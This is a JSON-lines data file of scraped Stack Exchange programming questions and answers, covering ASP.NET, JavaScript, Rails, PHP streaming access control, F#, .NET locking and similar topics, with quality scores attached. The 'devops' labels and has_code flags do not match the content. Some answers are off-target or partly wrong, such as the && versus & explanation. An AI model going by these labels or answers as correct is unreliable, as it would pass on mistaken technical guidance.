{"id": "hf_94948781a63d", "question": "<p>I have developed a simple mechanism for my mvc website to pull in html via jquery which then populates a specified div.  All is well and it looks cool.<br>\nMy problem is that i'm now creating html markup inside of my controller (Which is very easy to do in VB.net btw) I'd rather not mix up the sepparation of concerns.</p>\n\n<p>Is it possible to use a custom 'MVC View User Control' to suit this need?  Can I create an instance of a control, pass in the model data and render to html?  It would then be a simple matter of rendering and passing back to the calling browser.</p>\n", "question_body": "", "answer": "In rails this is called rendering a partial view, and you do it with\n```\nrender :partial => 'yourfilename'\n```\n. I believe ASP.NET MVC has a similar\n```\nRenderPartial\n```\nmethod, but I can't find the official docs for MVC to confirm or deny such a thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.490813"}
{"id": "hf_a443f2974411", "question": "<p>How do I remove all attributes which are <code>undefined</code> or <code>null</code> in a JavaScript object?</p>\n\n<p>(Question is similar to <a href=\"https://stackoverflow.com/questions/208105/how-to-remove-a-property-from-a-javascript-object\">this one</a> for Arrays)</p>\n", "question_body": "", "answer": "You are probably looking for the\n```\ndelete\n```\nkeyword.\n```\n```\nvar obj = { };\nobj.theProperty = 1;\ndelete obj.theProperty;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.515490"}
{"id": "hf_c9141dc783f7", "question": "<p>So I'm using python to do some parsing of web pages and I want to split the full web address into two parts. Say I have the address <a href=\"http://www.stackoverflow.com/questions/ask\">http://www.stackoverflow.com/questions/ask</a>. I would need the protocol and domain (e.g. <a href=\"http://www.stackoverflow.com\">http://www.stackoverflow.com</a>) and the path (e.g. /questions/ask). I figured this might be solved by some regex, however I'm not so handy with that. Any suggestions?</p>\n", "question_body": "", "answer": "```\n```\nimport re\nurl = \"http://stackoverflow.com/questions/ask\"\nprotocol, domain = re.match(r\"(http://[^/]*)(.*)\", url).groups()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.550840"}
{"id": "hf_1c296cd1e506", "question": "<p>example:</p>\n\n<p>I want to see if <code>array[5]</code> holds a value or is empty.</p>\n", "question_body": "", "answer": "There is no such thing as an \"empty\" element in a Java array. If the array's length is at least six, then element 5 exists and it has a value. If you have not assigned anything else to that location, then it will have the value zero, just like an object's uninitialized field would have.\nIf it is an array of\n```\nObject\n```\ndescendants, then you can check whether the element is equal to\n```\nnull\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.575116"}
{"id": "hf_5933eea97fb1", "question": "<p>I just started getting into BizTalk at work and would love to keep using everything I've learned about DDD, TDD, etc. Is this even possible or am I always going to have to use the Visio like editors when creating things like pipelines and orchestrations?</p>\n", "question_body": "", "answer": "You can certainly apply a lot of the concepts of TDD and DDD to BizTalk development.\nYou can design and develop around the concept of domain objects (although in BizTalk and integration development I often find interface objects or contract first design to be a more useful way of thinking - what messages get passed around at my interfaces). And you can also follow the 'Build the simplest possible thing that will work' and 'only build things that make tests pass' philosophies of TDD.\nHowever, your question sounds like you are asking more about the code-centric sides of these design and development approaches.\nAm I right that you would like to be able to follow the test driven development approach of first writing a unti test that exercises a requirement and fails, then writing a method that fulfils the requirement and causes the test to pass - all within a traditional programing language like C#?\nFor that, unfortunately, the answer is no. The majority of BizTalk artifacts (pipelines, maps, orchestrations...) can only really be built using the Visual Studio BizTalk plugins. There are ways of viewing the underlying c# code, but one would never want to try and directly develop this code.\nThere are two tools\nBizUnit\nand\nBizUnit Extensions\nthat give some ability to control the execution of BizTalk applications and test them but this really only gets you to the point of performing more controled and more test driven integration tests.\nThe shapes that you drag onto the Orchestration design surface will largely just do their thing as one opaque unit of execution. And Orchestrations, pipelines, maps etc... all these things are largely intended to be executed (and tested) within an entire BizTalk solution.\nGood design practices (taking pointers from approaches like TDD) will lead to breaking BizTalk solutions into smaller, more modular and testable chunks, and are there are ways of testing things like pipelines in isolation.\nBut the detailed specifics of TDD and DDD in code sadly don't translate.\nFor some related discussion that may be useful see this question:\nMocking WebService consumed by a Biztalk Request-Response port", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.599451"}
{"id": "hf_598289956a21", "question": "<p>Previously it was .net 2.0 which is the big change in .net developement. many developers are working mostly on this. Presently microsoft has introduced .net 3.0 and yet its next version .net 4.0. So the next version is going to be major change in .net development.</p>\n\n<p>I have listed some features of this...</p>\n\n<p>Workflow foundation\nWPF\nWCF\nWindows cardspace\nAgile methodalogy implementation.\nSilverlight features enhancement.</p>\n\n<p>In the new generation framework what are the features that you like and why it attracts you.</p>\n", "question_body": "", "answer": "If you're asking which new features will the upcoming .NET 4.0 Framework present, I've heard a lot about Parallel Computing, specifically about a Task Parallel Library built in the core of the Framework, also\nPLinq\nor Parallel Linq, focusing on LINQ-to-Objects and LINQ-to-XML .\nCheck te\nMicrosoft PDC Website\nand you'll find more interesting info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.685788"}
{"id": "hf_595f5f31f9ad", "question": "<p>I'm writing an app for Blackberry that was originally implemented in standard J2ME.  The network connection was done using <code>Connector.open(\"socket://...:80/...\")</code> instead of <code>http://</code></p>\n\n<p>Now, I've implemented the connection using both methods, and it seems like some times, the socket method is more responsive, and some times it doesn't work at all.  Is there a significant difference between the two?  Mostly what I'm trying to achieve is responsiveness from the connection to get a smooth progress bar.</p>\n", "question_body": "", "answer": "Since both operate over a network I don't think you can guarantee a smooth progress bar. You might have more chance of that if you remind the person to stay in one place so you have a chance of a consistent connection ;)\nThere is less overhead with a socket connection than an HTTP one. In fact, HTTP connections run over the socket connection. You can take advantage of the reduced overhead of the socket connection to appear more responsive, but you will likely have more work to do than you would with HTTP. The API is more low-level so coding is more complex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.711255"}
{"id": "hf_318792790dcb", "question": "<p>is it possible to throw a custom error message to a ThrowActivity, in windows workflow foundation?</p>\n\n<p>eg. Imagine i want to throw this exception, in my WF :-</p>\n\n<pre><code>CutomException(\"This is my custom error message\", myNumber, myObect);\n</code></pre>\n\n<p>cheers :)</p>\n", "question_body": "", "answer": "Maybe I do not understand your question well, but you can set the specific exception with the\n```\nFault\n```\nproperty of\n```\nThrowActivity\n```\nin any place before the activity execution, e.g.:\n```\n```\nthrowActivity1.Fault = new CustomException(\"This is my custom error message\", myNumber, myObect);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.773009"}
{"id": "hf_958b44b76542", "question": "<p>If I am evaluating two variables and not two method calls does it matter weather I use \"&amp;&amp;\" or \"&amp;\"</p>\n\n<pre><code>//some logic that sets bool values\n\nboolean X = true;\nboolean Y = true;\n\nif (X &amp; Y){\n   // perform some operation\n}\n\nif (X &amp;&amp; Y){\n   // perform some operation\n}\n</code></pre>\n\n<p>Further a book I am using for C# 3.0 / .NET 3.5 only makes reference to the &amp;&amp; operator, is the &amp; operator going away?</p>\n", "question_body": "", "answer": "Always use && if you are performing a true/false logic test. A single & performs a bit-wise 'and'.  It make work like a logic test in some cases but it is not guaranteed to work for all logic cases.  The most common use of a single & is when applying a bit-mask.\nExamples (&&):\n```\n```\ntrue && true == true\n```\n```\nExample (&):\n```\n```\n00101001 & 00100001 = 00100001\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.803513"}
{"id": "hf_8a33bb69e77f", "question": "<p>I am making a small game number game in Java (Nim) in OS X and was thinking about trying to make the GUI interface of the game using something other than Swing. I looked at SWT, but I read somewhere that SWT has some problems with OS X. I also looked at GTK+ bindings for Java, but I am not sure if that's a good choice either. Do you guys have any suggestions for a good Java GUI Framework that would look good and be compatible with OS X ?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "It depends, with eclipse 3.4, SWT 3.4 is quite supported with\nMacOs\n.\nNow, SWT is OS specific, and you may not have the same flexibility than Swing, so you need to have good reason for looking for an alternative to Swing, especially when you consider there are good\nLAFs (look and feel)\nfor java.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.828407"}
{"id": "hf_2cc3e1726a2d", "question": "<p>What is the best way to password protect quicktime streaming videos using php/.htaccess. They are being streamed using rtsp, but I can use other formats if necessary.</p>\n\n<p>I know how to do authentication with php, but I'm not sure how to setup authentication so that will protect the streaming files urls so that a user can't just copy the url and share it.</p>\n\n<p>Or am I overthinking this and I can just use a normal authentication scheme and place the files in a protected directory?</p>\n", "question_body": "", "answer": "First off, it is very easy to spoof a referer. This information is stored in the user's browser, so a user can simply telnet into your server and provide his own referer which matches your domain.\nA couple things you could try:\nFirst, more secure, but still spoofable. mod_rewrite provides the ability to check cookies. What you could do is set a cookie when the user visits your website that contains some obscure data. Then, you could modify your RerwriteCond to something like this:\n```\n```\nRewriteEngine On\nRewriteCond %{HTTP_REFERER} !^$\nRewriteCond %{HTTP_COOKIE} obscurename=obscurevalue [NC]\nRewriteCond %{HTTP_REFERER} !^http://(www\\.)?yourdomain.com/.*$ [NC]\nRewriteRule \\.(asx¦ASX)$ http://www.yourdomain.com/images/leech.gif [R,L]\n```\n```\nAnother, better technique would involve working with PHP and mime-types. I'm not sure to what extent this would support streaming content, but I assume it'll work. What you can do is have all your video links point to a .php file (the query string will determine which video has been selected). Then, when a user tries to visit this link, you do something like so:\n```\n```\n<?php\n    // You could also check some sort of session variable\n    // that is set when the user visits another part of your\n    // site\n    if(!isLoggedIn()){\n       header(\"Location: errorPage.htm\");\n       exit;\n    }else{\n       // Get the name of the file specified\n       $file = get_file_name($_GET['fileID']);\n\n       // Specify the proper mime-type for the data you're sending\n       // (this may have to change, depending on your situation)\n       header(\"Content-type: video/vnd.rn-realvideo\");\n\n       // Read the file and output it to the browser\n       readfile($file);\n    }\n?>\n```\n```\nFrom what I read, most servers know which mime-types are streaming mime-types, so the browser should be able to figure out how to handle the streaming file properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.890924"}
{"id": "hf_c0d093c22b37", "question": "<p>Given two 3D vectors A and B, I need to derive a rotation matrix which rotates from A to B.</p>\n\n<p>This is what I came up with:</p>\n\n<ol>\n<li>Derive cosine from <strike>acos</strike>(A . B)</li>\n<li>Derive sine from <strike>asin</strike>(|A x B| / (|A| * |B|))</li>\n<li>Use A x B as axis of rotation</li>\n<li>Use matrix given near the bottom of <a href=\"http://www.euclideanspace.com/maths/geometry/rotations/conversions/angleToMatrix/index.htm\" rel=\"nofollow noreferrer\">this page</a> (axis angle)</li>\n</ol>\n\n<p>This works fine except for rotations of 0&deg; (which I ignore) and 180&deg; (which I treat as a special case). Is there a more graceful way to do this using the Direct3D library? I am looking for a Direct3D specific answer.</p>\n\n<p>Edit: Removed acos and asin (see <a href=\"https://stackoverflow.com/questions/286274/direct3d-geometry-rotation-matrix-from-two-vectors#286300\">Hugh Allen's post</a>)</p>\n", "question_body": "", "answer": "No, you're pretty much doing it the best way possible.  I don't think there is a built-in DirectX function that does what you want.  For step 4, you can use\n```\nD3DXMatrixRotationAxis()\n```\n.  Just be careful about the edge cases, such as when |A| or |B| is zero, or when the angle is 0° or 180°.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.927797"}
{"id": "hf_8393193b28b9", "question": "<p>What's the best way (if any) to make an image appear \"grayed out\" with CSS (i.e., without loading a separate, grayed out version of the image)?</p>\n\n<p>My context is that I have rows in a table that all have buttons in the right most cell and some rows need to look lighter than others. So I can make the font lighter easily of course but I'd also like to make the images lighter without having to manage two versions of each image.</p>\n", "question_body": "", "answer": "Does it have to be gray? You could just set the opacity of the image lower (to dull it). Alternatively, you could create a\n```\n<div>\n```\noverlay and set that to be gray (change the alpha to get the effect).\nhtml:\n```\n```\n<div id=\"wrapper\">\n    <img id=\"myImage\" src=\"something.jpg\" />\n</div>\n```\n```\ncss:\n```\n```\n#myImage {\n    opacity: 0.4;\n    filter: alpha(opacity=40); /* msie */\n}\n\n/* or */\n\n#wrapper {\n    opacity: 0.4;\n    filter: alpha(opacity=40); /* msie */\n    background-color: #000;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.953120"}
{"id": "hf_d5f612f6f2ee", "question": "<p>How can I make cookies in my Flash application using ActionScript 2.0?</p>\n", "question_body": "", "answer": "You would need to use JavaScript to work with cookies. You can do so from ActionScript using the\nExternalInterface API\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:12.978701"}
{"id": "hf_715b097cd0ce", "question": "<p>I have a suspicion that I'm using the <code>finally</code> block incorrectly, and that I don't understand the fundamentals of its purpose...</p>\n\n<pre><code> function myFunc() {\n      try {\n           if (true) {\n                throw \"An error\";\n           }\n      } catch (e) {\n           alert (e);\n           return false;\n      } finally {\n           return true;\n      }\n }\n</code></pre>\n\n<p>This function will run the <code>catch</code> block, alert \"An error\", but then return true. Why doesn't it return false?</p>\n", "question_body": "", "answer": "The finally block contains statements to execute after the try and catch blocks execute but before the statements following the try...catch statement. The finally block executes whether or not an exception is thrown. If an exception is thrown, the statements in the finally block execute even if no catch block handles the exception.\nmore\nThe\n```\nfinally\n```\nblock will always run, try returning\n```\ntrue\n```\nafter your\n```\ntry\n```\nblock\n```\n```\nfunction myFunc() {\n     try {\n         if (true) {\n               throw \"An error\";\n          }\n          return true;\n     } catch (e) {\n          alert (e);\n          return false;\n     } finally {\n          //do cleanup, etc here\n     }\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.031594"}
{"id": "hf_325c523b5cba", "question": "<p>Our team is experienced in web development (tomcat/Oracle) but not with AJAX on our existing projects.  This is new technology for us, so I want to introduce this carefully and correctly.</p>\n\n<p>What should I look at in terms of frameworks or best practice or common pitfalls?</p>\n", "question_body": "", "answer": "read this:\nprogressive enhancement\nand use a library such as\njQuery\n,\nmootools\n, or\nYUI\nit'll save you many headaches with cross-browser implementation.\nthis\nwill show you why you want to use a library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.055731"}
{"id": "hf_9d62a33ebfd8", "question": "<p>I would like to make my application somewhat REST compliant.  I am using Rails on the backend and <a href=\"https://developers.google.com/web-toolkit/\" rel=\"noreferrer\">GWT</a> on the frontend.  I would like to do updates and deletes.  I realize I can do something like mydomain.com/:id/delete (GET) and accomplish the same thing.  However, as I stated previously, I would like to have a REST compliant backend.  Thus, I want to do mydomain.com/:id (DELETE) and have it implicitly call my delete method.</p>\n\n<p>Now, it's my understanding that if a browser (my browser is GWT RequestBuilder) doesn't support DELETE/GET, Rails somehow accomplishes this task with a POST and some other url parameter.  So, how can I accomplish this with a GWT RequestBuilder?</p>\n", "question_body": "", "answer": "Rails does this with hidden attributes. The easiest way to figure this out would be to create a new rails application, generate a scaffold and have a look at the HTML in a browser.\nTry this:\n```\n```\nrails jp\ncd jp\n./script/generate scaffold RequestBuilder name:string\nrake db:migrate\n./script/server\n```\n```\nThen navigate to\nhttp://localhost:3000/request_builders\n, click on New and have a look at the HTML. You'll see something like:\n```\n```\n<form action=\"/request_builders\" class=\"new_request_builder\" \n  id=\"new_request_builder\" method=\"post\">\n  <div style=\"margin:0;padding:0\">\n    <input name=\"authenticity_token\" type=\"hidden\" value=\"e76...\" />\n  </div>\n```\n```\nThis is a creation, method is POST. Enter a name, save then Edit:\n```\n```\n<form action=\"/request_builders/1\" class=\"edit_request_builder\" \n  id=\"edit_request_builder_1\" method=\"post\">\n  <div style=\"margin:0;padding:0\">\n    <input name=\"_method\" type=\"hidden\" value=\"put\" />\n    <input name=\"authenticity_token\" type=\"hidden\" value=\"e76...\" />\n  </div>\n```\n```\nOf course the form is sent with POST, but Rails hads a hidden field to simulate a PUT request. Same for deletion, but the scaffold will do it with a bit of Javascript:\n```\n```\nvar m = document.createElement('input'); \nm.setAttribute('type', 'hidden'); \nm.setAttribute('name', '_method'); \nm.setAttribute('value', 'delete');\n```\n```\nTo have this work with another front-end, you'll have to both:\nUse the same style URL such as /request_builders/1 (RESTful URLs)\nInclude the hidden fields (Rails trick)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.091264"}
{"id": "hf_e86290942ead", "question": "<p>I want to build two-dimentional array of strings where length of one dimention is 2. Similar to this</p>\n\n<pre><code>string[,] array = new string[,]\n{\n    {\"a\", \"b\"},\n    {\"c\", \"d\"},\n    {\"e\", \"f\"},\n    {\"g\", \"h\"}\n}\n</code></pre>\n\n<p>Doing</p>\n\n<pre><code>List&lt;string[]&gt; list = new List&lt;string[]&gt;();\n\nlist.Add(new string[2] {\"a\", \"b\"});\nlist.Add(new string[2] {\"c\", \"d\"});\nlist.Add(new string[2] {\"e\", \"f\"});\nlist.Add(new string[2] {\"g\", \"h\"});\n\nlist.ToArray();\n</code></pre>\n\n<p>gives me </p>\n\n<pre><code>string[][]\n</code></pre>\n\n<p>but not </p>\n\n<pre><code>string[,] \n</code></pre>\n\n<p>array.</p>\n\n<p>Just curious, is there some trick to build dynamically</p>\n\n<pre><code>string[,] \n</code></pre>\n\n<p>array somehow?</p>\n", "question_body": "", "answer": "This isn't possible with a\n```\nList<string[]>\n```\n, as the type\n```\nstring[,]\n```\nis different from\n```\nstring[]\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.201429"}
{"id": "hf_ccd4a7694a7c", "question": "<p>Is it possible to build a .dmg file (for distributing apps) from a non-Mac platform?\nAnd if yes, how?</p>\n", "question_body": "", "answer": "If you're distributing Mac apps, then surely you have a Mac to write and test them. Why not simply use that same Mac to create the disk image?\n[Edit] Alternatively, if you're distributing a portable app, for example a Java .jar file, why bother with a disk image? Macs understand .zip and .tar.gz archives just fine.\nI guess what I'm getting at is, I don't understand how one might need a DMG disk image, but not have a Mac with which to create it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.250440"}
{"id": "hf_b989046c75d7", "question": "<p>I have a page P1 loading from site S1 which contains an iframe. That iframe loads a page P2 from another site S2. At some point P2 would like to close the browser window, which contains P1 loaded from S1. Of course, since P2 is loaded from another site, it can't just do parent.close().</p>\n\n<p>I have full control over P1 and P2, so I can add JavaScript code to both P1 and P2 as needed.\nSuggestions on how to resolve this?</p>\n", "question_body": "", "answer": "It's impossible, I am afraid. JavaScript from an iframe that is loaded to a different site then the one it is being rendered on is strictly prohibited due to security issues.\nHowever, if the iframe is pointed to the same site you can get to it like:\n```\n```\n<iframe name = \"frame1\" src = \"http://yoursite\">\n</iframe>\n\n<script type = \"text/javascript\">\n    alert(window.frames[\"frame1\"].document);\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.285721"}
{"id": "hf_deaf34f14b3f", "question": "<p>Inspired by this <a href=\"https://stackoverflow.com/questions/283561/extracting-leaf-paths-from-n-ary-tree-in-f\">question</a> and <a href=\"https://stackoverflow.com/questions/283561/extracting-leaf-paths-from-n-ary-tree-in-f#283638\">answer</a>, how do I create a generic permutations algorithm in F#?  Google doesn't give any useful answers to this.</p>\n\n<p>EDIT: I provide my best answer below, but I suspect that Tomas's is better (certainly shorter!)</p>\n", "question_body": "", "answer": "My latest best answer\n```\n```\n//mini-extension to List for removing 1 element from a list\nmodule List = \n    let remove n lst = List.filter (fun x -> x <> n) lst\n\n//Node type declared outside permutations function allows us to define a pruning filter\ntype Node<'a> =\n    | Branch of ('a * Node<'a> seq)\n    | Leaf of 'a\n\nlet permutations treefilter lst =\n    //Builds a tree representing all possible permutations\n    let rec nodeBuilder lst x = //x is the next element to use\n        match lst with  //lst is all the remaining elements to be permuted\n        | [x] -> seq { yield Leaf(x) }  //only x left in list -> we are at a leaf\n        | h ->   //anything else left -> we are at a branch, recurse \n            let ilst = List.remove x lst   //get new list without i, use this to build subnodes of branch\n            seq { yield Branch(x, Seq.map_concat (nodeBuilder ilst) ilst) }\n\n    //converts a tree to a list for each leafpath\n    let rec pathBuilder pth n = // pth is the accumulated path, n is the current node\n        match n with\n        | Leaf(i) -> seq { yield List.rev (i :: pth) } //path list is constructed from root to leaf, so have to reverse it\n        | Branch(i, nodes) -> Seq.map_concat (pathBuilder (i :: pth)) nodes\n\n    let nodes = \n        lst                                     //using input list\n        |> Seq.map_concat (nodeBuilder lst)     //build permutations tree\n        |> Seq.choose treefilter                //prune tree if necessary\n        |> Seq.map_concat (pathBuilder [])      //convert to seq of path lists\n\n    nodes\n```\n```\nThe permutations function works by constructing an n-ary tree representing all possible permutations of the list of 'things' passed in, then traversing the tree to construct a list of lists. Using 'Seq' dramatically improves performance as it makes everything lazy.\nThe second parameter of the permutations function allows the caller to define a filter for 'pruning' the tree before generating the paths (see my example below, where I don't want any leading zeros).\nSome example usage: Node<'a> is generic, so we can do permutations of 'anything':\n```\n```\nlet myfilter n = Some(n)  //i.e., don't filter\npermutations myfilter ['A';'B';'C';'D'] \n\n//in this case, I want to 'prune' leading zeros from my list before generating paths\nlet noLeadingZero n = \n    match n with\n    | Branch(0, _) -> None\n    | n -> Some(n)\n\n//Curry myself an int-list permutations function with no leading zeros\nlet noLZperm = permutations noLeadingZero\nnoLZperm [0..9]\n```\n```\n(Special thanks to\nTomas Petricek\n, any comments welcome)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.310772"}
{"id": "hf_910fc8578a7b", "question": "<p>In relation to <a href=\"https://stackoverflow.com/questions/283431/why-would-an-command-not-recognized-error-occur-only-when-a-window-is-populated\">another question</a>, how do you account for paths that may change? For example, if a program is calling a file in the same directory as the program, you can simply use the path \".\\foo.py\" in *nix. However, apparently Windows likes to have the path hard-coded, e.g. \"C:\\Python_project\\foo.py\".</p>\n\n<p>What happens if the path changes? For example, the file may not be on the C: drive but on a thumb drive or external drive that can change the drive letter. The file may still be in the same directory as the program but it won't match the drive letter in the code.</p>\n\n<p>I want the program to be cross-platform, but I expect I may have to use <strong>os.name</strong> or something to determine which path code block to use.</p>\n", "question_body": "", "answer": "If your file is always in the same directory as your program then:\n```\n```\ndef _isInProductionMode():\n    \"\"\" returns True when running the exe, \n        False when running from a script, ie development mode.\n    \"\"\"\n    return (hasattr(sys, \"frozen\") or # new py2exe\n           hasattr(sys, \"importers\") # old py2exe\n           or imp.is_frozen(\"__main__\")) #tools/freeze\n\ndef _getAppDir():\n    \"\"\" returns the directory name of the script or the directory \n        name of the exe\n    \"\"\"\n    if _isInProductionMode():\n        return os.path.dirname(sys.executable)\n    return os.path.dirname(__file__)\n```\n```\nshould work. Also, I've used py2exe for my own application, and haven't tested it with other exe conversion apps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.408924"}
{"id": "hf_c15844ae679a", "question": "<p>I am developing an iOS application, and trying to zip the file I have created in the application, is there any built in function able to do this?</p>\n", "question_body": "", "answer": "As Alex pointed out, I responded to\nthis question\nby pointing out the\nNSData category\ncontributed by users of the Cocoadev wiki.  That category includes methods for dealing with zipped and gzipped data in an NSData instance (that could be read from a Zip file or written to one).  This should be all you need to implement the file zipping you describe, as long as you can feed your file data into an NSData instance.\nFor an example of this category in action, please see the source code for my iPhone application,\nMolecules\n.  I only use the method to extract data from a gzipped file (in SLSMolecule+PDB.m), but you should be able to get the basic concepts from that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.461690"}
{"id": "hf_82b39b946e63", "question": "<p>I've looked at the ReaderWriterLock in .NET 2.0 and the ReaderWriterLockSlim in .NET 3.5, and the slim version doesn't use kernel objects for the locking. For my context, which can potentially generate a large (but not huge) amount of objects, this sounds better.</p>\n\n<p>But the code I write needs to be used in both .NET 2.0 and 3.5 during a transition period, so the 3.5 version, while looking good for my purposes, can't be used.</p>\n\n<p>Does anyone have, or know of, a similar class that I can plug into .NET 2.0 and get some of the same benefits with?</p>\n", "question_body": "", "answer": "As far as I know there isn't one from Microsoft (otherwise\n```\nReaderWriterLockSlim\n```\nwould be somewhat pointless) and if you find one from a third party other than one you trust to have\nexcellent\nminds who have spent a long time thinking about, implementing and testing it, I wouldn't trust it. I certainly wouldn't trust a random CodeProject implementation, for example.\nDo you have any concrete measures to suggest that using\n```\nReaderWriterLockSlim\n```\nwould be\nso\nmuch better that it's worth looking hard for alternatives for .NET 2.0? It's certainly a \"nice to have\" but I suspect the cases where it's\nmassively\nsignificant are relatively rare. Unless you already know that locking is a bottleneck for you, I would stick with what you've got and just be ready to upgrade when you can.\nYou might want to try just using normal monitors rather than\n```\nReaderWriterLock\n```\nthough - in many cases the overhead of RWL outweighs the benefit.\nOf course, it's all on a case-by-case basis - your app may be one which really would be made much, much faster by\n```\nReaderWriterLockSlim\n```\n...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.486776"}
